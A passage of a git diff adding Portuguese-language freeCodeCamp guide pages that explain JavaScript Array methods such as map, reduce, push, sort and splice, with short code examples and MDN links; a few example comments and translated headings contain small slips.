+    *   _Opcional_ O índice no qual começar a pesquisar para trás. O padrão é o comprimento da matriz menos um, ou seja, toda a matriz será pesquisada. Se o índice for maior ou igual ao comprimento da matriz, toda a matriz será pesquisada. Se negativo, é considerado como o deslocamento do final da matriz. Observe que, mesmo quando o índice é negativo, a matriz ainda é pesquisada de trás para frente. Se o índice calculado for menor que 0, será retornado -1, ou seja, a matriz não será pesquisada.
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff679972%28v=vs.94%29.aspx)
+
+## Retorna
+
+O índice da última ocorrência de `searchElement` na matriz, ou -1, se `searchElement` não for encontrado.
+
+## Descrição
+
+`lastIndexOf` compara `searchElement` a elementos do Array usando igualdade estrita (o mesmo método usado pelo operador ===, ou triple-equals,).
+
+## Observações
+
+A pesquisa ocorre na ordem de índice decrescente (último membro primeiro). Para pesquisar em ordem crescente, use o método `indexOf` .
+
+O argumento opcional `fromIndex` especifica o índice da matriz na qual iniciar a pesquisa. Se `fromIndex` for maior ou igual ao comprimento da matriz, toda a matriz será pesquisada. Se `fromIndex` for negativo, a pesquisa será iniciada no comprimento da matriz e no `fromIndex` . Se o índice calculado for menor que 0, -1 será retornado.
+
+## Exemplos
+
+```javascript
+  var array = [2, 5, 9, 2]; 
+  array.lastIndexOf(2);     // 3 
+  array.lastIndexOf(7);     // -1 
+  array.lastIndexOf(2, 3);  // 3 
+  array.lastIndexOf(2, 2);  // 0 
+  array.lastIndexOf(2, -2); // 0 
+  array.lastIndexOf(2, -1); // 3 
+ 
+  // Create an array. 
+  var ar = ["ab", "cd", "ef", "ab", "cd"]; 
+ 
+  // Determine the first location, in descending order, of "cd". 
+  document.write(ar.lastIndexOf("cd") + "<br/>"); 
+ 
+  // Output: 4 
+ 
+  // Find "cd" in descending order, starting at index 2. 
+  document.write(ar.lastIndexOf("cd", 2) + "<br/>"); 
+ 
+  // Output: 1 
+ 
+  // Search for "gh" (which is not found). 
+  document.write(ar.lastIndexOf("gh")+ "<br/>"); 
+ 
+  // Output: -1 
+ 
+  // Find "ab" with a fromIndex argument of -3. 
+  // The search in descending order starts at index 3, 
+  // which is the array length minus 2. 
+  document.write(ar.lastIndexOf("ab", -3) + "<br/>"); 
+  // Output: 0 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-map/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-map/index.md
new file mode 100644
index 0000000000..6fb6ede64d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-map/index.md
@@ -0,0 +1,32 @@
+---
+title: Array.prototype.map
+localeTitle: Array.prototype.map
+---
+## Array.prototype.map
+
+O método `.map()` percorre o array especificado e executa a função fornecida em cada elemento. Ele retorna uma nova matriz que contém os resultados da chamada de função em cada elemento.
+
+### Exemplos
+
+**ES5**
+
+```js
+var arr = [1, 2, 3, 4]; 
+ var newArray = arr.map(function(element) { return element * 2}); 
+ console.log(newArray); // [2, 4, 6, 8] 
+```
+
+**ES6**
+
+```js
+const arr = [1, 2, 3, 4]; 
+ const newArray = arr.map(element => element * 2); 
+ console.log(newArray); 
+ //[2, 4, 6, 8] 
+```
+
+**Mais Informações**
+
+Aqui está um screencast interativo Scrimba que explica `Array.prototype.map()` :
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-pop/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-pop/index.md
new file mode 100644
index 0000000000..dd2d24c6a0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-pop/index.md
@@ -0,0 +1,37 @@
+---
+title: Array.prototype.pop
+localeTitle: Array.prototype.pop
+---
+# Array.prototype.pop
+
+O método `pop()` remove o último elemento e altera o tamanho de uma matriz.
+
+**Sintaxe**
+
+```js
+    arr.pop() 
+```
+
+**Valor de retorno**
+
+*   O elemento removido da matriz; indefinido se a matriz estiver vazia.
+
+## Descrição
+
+O método `pop()` remove o último elemento de uma matriz e retorna esse valor para o chamador.
+
+Se você chamar `pop()` em um array vazio, ele retornará indefinido.
+
+## Exemplos
+
+```js
+let array = [1, 2, 3, 4]; 
+ array.pop(); // removes 4 
+ console.log(array); // [1, 2, 3] 
+ 
+ [].pop() // undefined 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-push/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-push/index.md
new file mode 100644
index 0000000000..44b55d4ba2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-push/index.md
@@ -0,0 +1,52 @@
+---
+title: Array.prototype.push
+localeTitle: Array.prototype.push
+---
+O método `push()` é usado para adicionar um ou mais novos elementos ao final de um array. Também retorna o novo comprimento da matriz.
+
+### Sintaxe
+
+```javascript
+arr.push([element1[, ...[, elementN]]]) 
+```
+
+### Parâmetros
+
+*   **elementN** Os elementos para adicionar ao final da matriz.
+
+### Valor de retorno
+
+O novo comprimento da matriz na qual o método foi chamado.
+
+## Descrição
+
+O método `push()` irá _empurrar_ elementos para o final de um array. Pode levar zero ou mais argumentos. Se nenhum argumento for fornecido, ele simplesmente retornará o comprimento atual da matriz. Se fornecido um ou mais argumentos, ele adicionará esses argumentos ao array na ordem em que estão escritas.
+
+Esse método também retorna o novo comprimento da matriz após o (s) elemento (s) ser (ão) empurrado (s) para ela.
+
+## Exemplo:
+
+```javascript
+var myStarkFamily = ['John', 'Robb', 'Sansa', 'Bran']; 
+```
+
+Suponha que você tenha uma matriz dos filhos da Casa Stark de Game of Thrones. No entanto, um dos membros, **Arya** , está faltando. Sabendo o código acima, você poderia adicioná-lo atribuindo `'Arya'` ao array no índice após o último índice assim:
+
+```javascript
+myStarkFamily[4] = 'Arya'; 
+```
+
+O problema com essa solução é que ela não pode lidar com casos gerais. Se você não sabia de antemão qual é o comprimento do array, você não pode adicionar novos elementos dessa maneira. Isso é o que `push()` é para. Nós não precisamos saber quanto tempo o array é. Nós apenas adicionamos nosso elemento até o final da matriz.
+
+```javascript
+myStarkFamily.push('Arya'); 
+ console.log(myStarkFamily);  // ['John', 'Robb', 'Sansa', 'Bran', 'Arya'] 
+ 
+ var newLength = myStarkFamily.push('Rickon');  // oops! forgot Rickon 
+ console.log(newLength);  // 6 
+ console.log(myStarkFamily);  // ['John', 'Robb', 'Sansa', 'Bran', 'Arya', 'Rickon'] 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reduce/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reduce/index.md
new file mode 100644
index 0000000000..47ab34726e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reduce/index.md
@@ -0,0 +1,67 @@
+---
+title: Array.prototype.reduce
+localeTitle: Array.prototype.reduce
+---
+## Array.prototype.reduce
+
+O método `reduce()` reduz uma matriz de valores para apenas um valor.
+
+O valor único que é retornado pode ser de qualquer tipo.
+
+### Exemplo 1
+
+Transforme uma matriz de inteiros na soma de todos os inteiros na matriz.
+
+```js
+    var numbers = [1,2,3]; 
+    var sum = numbers.reduce(function(total, current){ 
+        return total + current; 
+    }); 
+    console.log(sum); 
+```
+
+Isto irá gerar `6` para o console.
+
+### Descrição
+
+O método `reduce()` tem sido chamado de canivete suíço, ou multi-ferramenta, de métodos de transformação de array. Outros, como `map()` e `filter()` , fornecem transformações mais específicas, enquanto `reduce()` pode ser usado para transformar arrays em qualquer saída desejada.
+
+### Sintaxe
+
+```js
+    arr.reduce(callback[, initialValue]) 
+```
+
+*   O argumento de `callback` é uma função que será chamada uma vez para cada item na matriz. Essa função leva quatro argumentos, mas geralmente apenas os dois primeiros são usados.
+    *   _acumulador_ - o valor retornado da iteração anterior
+    *   _currentValue_ - o item atual na matriz
+    *   _índice_ - o índice do item atual
+    *   _array_ - o array original no qual reduzir foi chamado
+*   O argumento `initialValue` é opcional. Se fornecido, ele será usado como o valor inicial do acumulador na primeira chamada para a função de retorno de chamada (consulte o Exemplo 2 abaixo).
+
+### Exemplo 2
+
+Transforme uma matriz de strings em um único objeto que mostra quantas vezes cada string aparece na matriz. Observe que essa chamada para reduzir passa um objeto vazio `{}` como o parâmetro `initialValue` . Isso será usado como o valor inicial do acumulador (o primeiro argumento) passado para a função de retorno de chamada.
+
+```js
+var pets = ['dog', 'chicken', 'cat', 'dog', 'chicken', 'chicken', 'rabbit']; 
+ 
+ var petCounts = pets.reduce(function(obj, pet){ 
+    if (!obj[pet]) { 
+        obj[pet] = 1; 
+    } else { 
+        obj[pet]++; 
+    } 
+    return obj; 
+ }, {}); 
+ 
+ console.log(petCounts); 
+```
+
+Saída: `js { dog: 2, chicken: 3, cat: 1, rabbit: 1 }`
+
+## Mais Informações:
+
+*   [Como o método Reduce do JavaScript funciona, quando usá-lo e algumas das coisas legais que ele pode fazer](https://medium.freecodecamp.org/reduce-f47a7da511a9)
+*   [Reduzir Avançado](https://www.youtube.com/watch?v=1DMolJ2FrNY)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reduceright/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reduceright/index.md
new file mode 100644
index 0000000000..b96a33b754
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reduceright/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.reduceRight
+localeTitle: Array.prototype.reduceRight
+---
+## Array.prototype.reduceRight
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-reduceright/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reverse/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reverse/index.md
new file mode 100644
index 0000000000..f9668f58a2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-reverse/index.md
@@ -0,0 +1,34 @@
+---
+title: Array.prototype.reverse
+localeTitle: Array.prototype.reverse
+---
+O método de matriz JavaScript `.reverse()` inverterá a ordem dos elementos dentro da matriz.
+
+**Sintaxe**
+
+```javascript
+  var array = [1, 2, 3, 4, 5]; 
+  array.reverse(); 
+```
+
+## Descrição
+
+`.reverse()` inverte o índice dos elementos de um array.
+
+## Exemplos
+
+**Use `.reverse()` para inverter os elementos de um array**
+
+```javascript
+  var array = [1, 2, 3, 4, 5]; 
+  console.log(array); 
+  // Console will output 1, 2, 3, 4, 5 
+ 
+  array.reverse(); 
+ 
+  console.log(array); 
+  /* Console will output 5, 4, 3, 2, 1 and 
+  the variable array now contains the set [5, 4, 3, 2, 1] */ 
+```
+
+Fonte: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-shift/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-shift/index.md
new file mode 100644
index 0000000000..7b6580da19
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-shift/index.md
@@ -0,0 +1,38 @@
+---
+title: Array.prototype.shift
+localeTitle: Array.prototype.shift
+---
+O método de matriz JavaScript `.shift()` removerá o primeiro elemento de uma matriz e retornará esse valor. Isso também irá alterar o comprimento da matriz
+
+**Sintaxe**
+
+```javascript
+  var array = [1, 2, 3, 4]; 
+  array.shift(); 
+```
+
+## Descrição
+
+`.shift()` irá remover o elemento no índice 0 da matriz na qual ele é chamado. Em seguida, ele retorna o valor removido e desloca todos os elementos restantes por 1 valor de índice.
+
+`.shift()` retornará `undefined` se a matriz em que é chamado não contiver elementos.
+
+## Exemplos
+
+**Mudando o primeiro valor de um array**
+
+```javascript
+  var array = [1, 2, 3, 4, 5]; 
+  console.log(array); 
+  // Console will output 1, 2, 3, 4, 5 
+ 
+  array.shift(); 
+  // If we console.log(array.shift()); the console would output 1. 
+ 
+  console.log(array); 
+  /* Console will output 2, 3, 4, 5 and 
+  the variable array now contains the set [2, 3, 4, 5] where 
+  each element has been moved down 1 index value. */ 
+```
+
+Fonte: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-slice/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-slice/index.md
new file mode 100644
index 0000000000..7bbd4119fe
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-slice/index.md
@@ -0,0 +1,44 @@
+---
+title: Array.prototype.slice
+localeTitle: Array.prototype.slice
+---
+O método de matriz JavaScript `.slice()` retornará um novo objeto de matriz que será um segmento (uma fatia) da matriz original. O array original não é modificado.
+
+**Sintaxe**
+
+```javascript
+  array.slice() 
+  arr.slice(startIndex) 
+  arr.slice(startIndex, endIndex) 
+```
+
+## Parâmetros
+
+*   **startIndex** O índice baseado em zero onde a fatia deve começar. Se o valor for omitido, começará em 0.
+    
+*   **endIndex** A fatia terminará **antes** deste índice baseado em zero. Um índice negativo é usado para compensar a partir do final da matriz. Se o valor for omitido, o segmento dividirá o final da matriz.
+    
+
+## Exemplos
+
+```javascript
+  var array = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+ 
+  var everything = array.slice() 
+  // everything = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+ 
+  var kitchen = array.slice(2, 4) 
+  // kitchen = ['cup', 'sandwich'] 
+ 
+  var random = array.slice(4) 
+  // random = ['bag', 'phone', 'cactus'] 
+ 
+  var noPlants = array.slice(0, -1) 
+  // noPlats = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone'] 
+ 
+  // array will still equal ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+```
+
+#### Mais Informações:
+
+Fonte: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-some/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-some/index.md
new file mode 100644
index 0000000000..cb4ef82bff
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-some/index.md
@@ -0,0 +1,92 @@
+---
+title: Array.prototype.some
+localeTitle: Array.prototype.some
+---
+O método de matriz JavaScript `.some()` terá uma função de retorno de chamada para testar cada elemento na matriz; uma vez que o callback retorna `true` então `.some()` retornará true imediatamente.
+
+**Sintaxe**
+
+```javascript
+  var arr = [1, 2, 3, 4]; 
+  arr.some(callback[, thisArg]); 
+```
+
+## Função de retorno de chamada
+
+**Sintaxe**
+
+```javascript
+  var isEven = function isEven(currentElement, index, array) { 
+      if(currentElement % 2 === 0) { 
+          return true; 
+      } else { 
+          return false; 
+      } 
+  } 
+```
+
+Veja o wiki sobre [operadores aritméticos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators) para ver o operador `%` restante
+
+**Tem 3 argumentos**
+
+*   currentElement
+    
+    *   Esta é uma variável que representa o elemento que está sendo passado para o retorno de chamada.
+*   índice
+    
+    *   este é o valor do índice do elemento atual começando em 0
+*   array
+    
+    *   a matriz que `.some()` foi chamada.
+
+A função de retorno de chamada deve implementar um caso de teste.
+
+## thisArg
+
+É um parâmetro opcional e mais informações podem ser encontradas no \[MDN
+
+## Descrição
+
+`.some()` executará a função de retorno de chamada para cada elemento na matriz. Quando o retorno de chamada retornar true, `.some()` retornará `true` . Se o retorno de chamada retornar um [valor falso](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) para _cada_ elemento na matriz, então `.some()` retornará false.
+
+`.some()` não irá alterar / alterar o array que o chamou.
+
+## Exemplos
+
+**Passando uma função para `.some()`**
+
+```javascript
+  var isEven = function isEven(currentElement, index, array) { 
+      if(currentElement % 2 === 0) { 
+          return true; 
+      } else { 
+          return false; 
+      } 
+  } 
+ 
+  var arr1 = [1, 2, 3, 4, 5, 6]; 
+  arr1.some(isEven);  // returns true 
+  var arr2 = [1, 3, 5, 7]; 
+  arr2.some(isEven);  // returns false 
+```
+
+**Função anônima**
+
+```javascript
+  var arr3 = ['Free', 'Code', 'Camp', 'The Amazing']; 
+  arr3.some(function(curr, index, arr) { 
+      if (curr === 'The Amazing') { 
+          return true; 
+      } 
+      }); // returns true 
+ 
+  var arr4 = [1, 2, 14, 5, 17, 9]; 
+  arr4.some(function(curr, index, arr) { 
+      return curr > 20; 
+      });  // returns false 
+ 
+  // ES6 arrows functions 
+  arr4.some((curr) => curr >= 14)  // returns true 
+```
+
+Fonte: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-sort/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-sort/index.md
new file mode 100644
index 0000000000..74069bbb37
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-sort/index.md
@@ -0,0 +1,51 @@
+---
+title: Array.prototype.sort
+localeTitle: Array.prototype.sort
+---
+## Array.prototype.sort
+
+Esse método classifica os elementos de uma matriz e retorna a matriz.
+
+O método `sort()` segue a **ordem ASCII** !
+
+índice | caractere --- | --- 33 |! 34 | " 35 | # 35 36 | $ 37 |%
+
+```js
+var myArray = ['#', '!']; 
+ var sortedArray = myArray.sort();   // ['!', '#'] because in the ASCII table "!" is before "#" 
+ 
+ myArray = ['a', 'c', 'b']; 
+ console.log(myArray.sort()); // ['a', 'b', 'c'] 
+ console.log(myArray) // ['a', 'b', 'c'] 
+ 
+ myArray = ['b', 'a', 'aa']; 
+ console.log(myArray.sort());   // ['a', 'aa', 'b'] 
+ 
+ myArray = [1, 2, 13, 23]; 
+ console.log(myArray.sort());   // [1, 13, 2, 23] numbers are treated like strings! 
+```
+
+# Uso avançado
+
+O método `sort()` também pode aceitar um parâmetro: `array.sort(compareFunction)`
+
+### Por exemplo
+
+```js
+function compare(a, b){ 
+  if (a < b){return -1;} 
+  if (a > b){return 1;} 
+  if (a === b){return 0;} 
+ } 
+ 
+ var myArray = [1, 2, 23, 13]; 
+ console.log(myArray.sort()); // [ 1, 13, 2, 23 ] 
+ console.log(myArray.sort(compare));   // [ 1, 2, 13, 23 ] 
+ 
+ myArray = [3, 4, 1, 2]; 
+ sortedArray = myArray.sort(function(a, b){.....});   // it depends from the compareFunction 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-splice/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-splice/index.md
new file mode 100644
index 0000000000..7c1b088d9f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-splice/index.md
@@ -0,0 +1,74 @@
+---
+title: Array.prototype.splice
+localeTitle: Array.prototype.splice
+---
+## Array.prototype.splice
+
+O método splice é semelhante ao [Array.prototype.slice](https://guide.freecodecamp.org/javascript/standard-objects/array/array-prototype-slice) , mas ao contrário de `slice()` ele transforma o array em que é chamado. Ele também difere porque pode ser usado para adicionar valores a uma matriz e removê-los.
+
+### Parâmetros
+
+`splice()` pode levar um ou mais
+
+#### emenda (início)
+
+Se apenas um parâmetro for incluído, a `splice(start)` removerá todos os elementos da matriz do `start` ao final da matriz.
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(2); 
+ // exampleArray is now ['first', 'second']; 
+```
+
+Se o `start` for negativo, contará de trás para frente a partir do final do array.
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(-1); 
+ // exampleArray is now ['first', 'second', 'third']; 
+```
+
+#### emenda (iniciar, excluirContagem)
+
+Se um segundo parâmetro for incluído, então `splice(start, deleteCount)` removerá os elementos `deleteCount` da matriz, começando com `start` .
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 2); 
+ // exampleArray is now ['first', 'fourth']; 
+```
+
+#### junção (start, deleteCount, newElement1, newElement2,….)
+
+Se mais de dois parâmetros forem incluídos, os parâmetros adicionais serão novos elementos adicionados à matriz. A localização desses elementos adicionados será iniciada no `start` .
+
+Elementos podem ser adicionados sem remover nenhum elemento passando `0` como o segundo parâmetro.
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 0, 'new 1', 'new 2'); 
+ // exampleArray is now ['first', 'new 1', 'new 2', 'second', 'third', 'fourth'] 
+```
+
+Elementos também podem ser substituídos.
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 2, 'new second', 'new third'); 
+ // exampleArray is now ['first', 'new second', 'new third', 'fourth'] 
+```
+
+### Valor de retorno
+
+Além de alterar a matriz em que ele é chamado, `splice()` também retorna uma matriz contendo os valores removidos. Esta é uma maneira de cortar um array em dois arrays diferentes.
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ let newArray = exampleArray.splice(1, 2); 
+ // exampleArray is now ['first', 'fourth'] 
+ // newArray is ['second', 'third'] 
+```
+
+#### Mais Informações:
+
+[MDN - Array.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tolocalstring/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tolocalstring/index.md
new file mode 100644
index 0000000000..690c25b15f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tolocalstring/index.md
@@ -0,0 +1,49 @@
+---
+title: Array.prototype.toLocaleString
+localeTitle: Array.prototype.toLocaleString
+---
+## Array.prototype.toLocaleString
+
+O método `toLocaleString()` retorna uma string representando os elementos de uma matriz. Todos os elementos são convertidos em Strings usando seus métodos toLocaleString. O resultado de chamar esta função destina-se a ser específico do idioma.
+
+##### Sintaxe:
+```
+arr.toLocaleString(); 
+```
+
+##### Parâmetros
+
+*   `locales` (Opcional) - argumento contendo uma string ou uma matriz de tags de idioma [BCP 47 tag de idioma](http://tools.ietf.org/html/rfc5646) .
+*   `options` (Opcional) - objeto com propriedades de configuração
+
+##### Valor de retorno
+
+Uma string representando os elementos da matriz separados por uma String específica de local (como uma vírgula “,”)
+
+## Exemplos
+
+```javascript
+var number = 12345; 
+ var date = new Date(); 
+ var myArray = [number, date, 'foo']; 
+ var myString = myArray.toLocaleString(); 
+ 
+ console.log(myString); 
+ // OUTPUT '12345,10/25/2017, 4:20:02 PM,foo' 
+```
+
+Diferentes saídas podem ser exibidas com base no idioma e no identificador de região (a localidade).
+
+```javascript
+var number = 54321; 
+ var date = new Date(); 
+ var myArray = [number, date, 'foo']; 
+ var myJPString = myArray.toLocaleString('ja-JP'); 
+ 
+ console.log(myJPString); 
+ // OUTPUT '54321,10/26/2017, 5:20:02 PM,foo' 
+```
+
+### Mais Informações:
+
+Fonte: [MDN](https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Global_Objects/Array/toLocaleString)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tosource/index.md
new file mode 100644
index 0000000000..e70fd9a9b8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.toSource
+localeTitle: Array.prototype.toSource
+---
+## Array.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tostring/index.md
new file mode 100644
index 0000000000..5a950575c7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-tostring/index.md
@@ -0,0 +1,25 @@
+---
+title: Array.prototype.toString
+localeTitle: Array.prototype.toString
+---
+O método de array JavaScript `.toString()` é usado para converter uma matriz em uma única string, com cada elemento unido por uma vírgula. Não há parâmetros para o método.
+
+**Sintaxe**
+
+```javascript
+  var arr = [1, 2, 3, 4]; 
+  arr.toString(); 
+```
+
+## Uso
+
+```javascript
+  var str1 = [1, 2, 3, 4, 5].toString();  // str1 = '1,2,3,4,5'; 
+  var str2 = ['1', '2', '3', '4'].toString();  // str2 = '1,2,3,4'; 
+  var str3 = ['Free', 'Code', 'Camp'].toString();  // str3 = 'Free,Code,Camp'; 
+  var str4 = ['phone', '555-6726'].toString();   // str4 = 'phone,555-6726'; 
+  var str5 = ['August', 'September', 'October'].toString();  // str5 = 'August,September,October'; 
+  var str6 = ['Words', 'and', 3, 4].toString();  // str6 = 'Words,and,3,4'; 
+```
+
+Fonte: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-unshift/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-unshift/index.md
new file mode 100644
index 0000000000..9da8ca2a62
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-unshift/index.md
@@ -0,0 +1,34 @@
+---
+title: Array.prototype.unshift
+localeTitle: Array.prototype.unshift
+---
+O método de matriz JavaScript `.unshift()` adiciona um ou mais elementos ao início de uma matriz e retorna o novo comprimento da matriz.
+
+**Sintaxe**
+```
+arr.unshift([element1[, ...[, elementN]]]) 
+```
+
+## Parâmetros
+
+Os elementos para adicionar à frente da matriz.
+
+## Retorna
+
+O novo `length` da matriz na qual o método foi chamado.
+
+## Exemplos
+```
+var array = [1, 2, 3, 4, 5]; 
+ 
+ array.unshift(0); 
+ // If we console.log(array.shift()); the console would output 6. 
+ // array is now [0, 1, 2, 3, 4, 5]; 
+ 
+ array.unshift([-1]); 
+ // array is now [[-1], 0, 1, 2, 3, 4, 5]; 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/C2V3)
+
+[MDN de](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift) origem
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-values/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-values/index.md
new file mode 100644
index 0000000000..0b36fd760e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-values/index.md
@@ -0,0 +1,38 @@
+---
+title: Array.prototype.values
+localeTitle: Array.prototype.values
+---
+## Array.prototype.values
+
+O método `values` retorna um novo objeto `Array Iterator` que contém os valores para cada índice na matriz.
+
+### Sintaxe
+
+```javascript
+arr.values() 
+```
+
+### Retorna
+
+Um novo objeto ittertator de `array` .
+
+### Exemplo
+
+```javascript
+let friends = ["Rachel", "Monica", "Chandler", "Phoebe", "Joey", "Ross"] 
+ 
+ for (let friend of friends) { 
+  console.log(friend) 
+ } 
+ 
+ // Rachel 
+ // Monica 
+ // Chandler 
+ // Phoebe 
+ // Joey 
+ // Ross 
+```
+
+#### Mais Informações:
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/values)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/index.md
new file mode 100644
index 0000000000..6ba425804c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/index.md
@@ -0,0 +1,11 @@
+---
+title: Array
+localeTitle: Matriz
+---
+## Matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md
new file mode 100644
index 0000000000..ae7d41b6b8
--- /dev/null
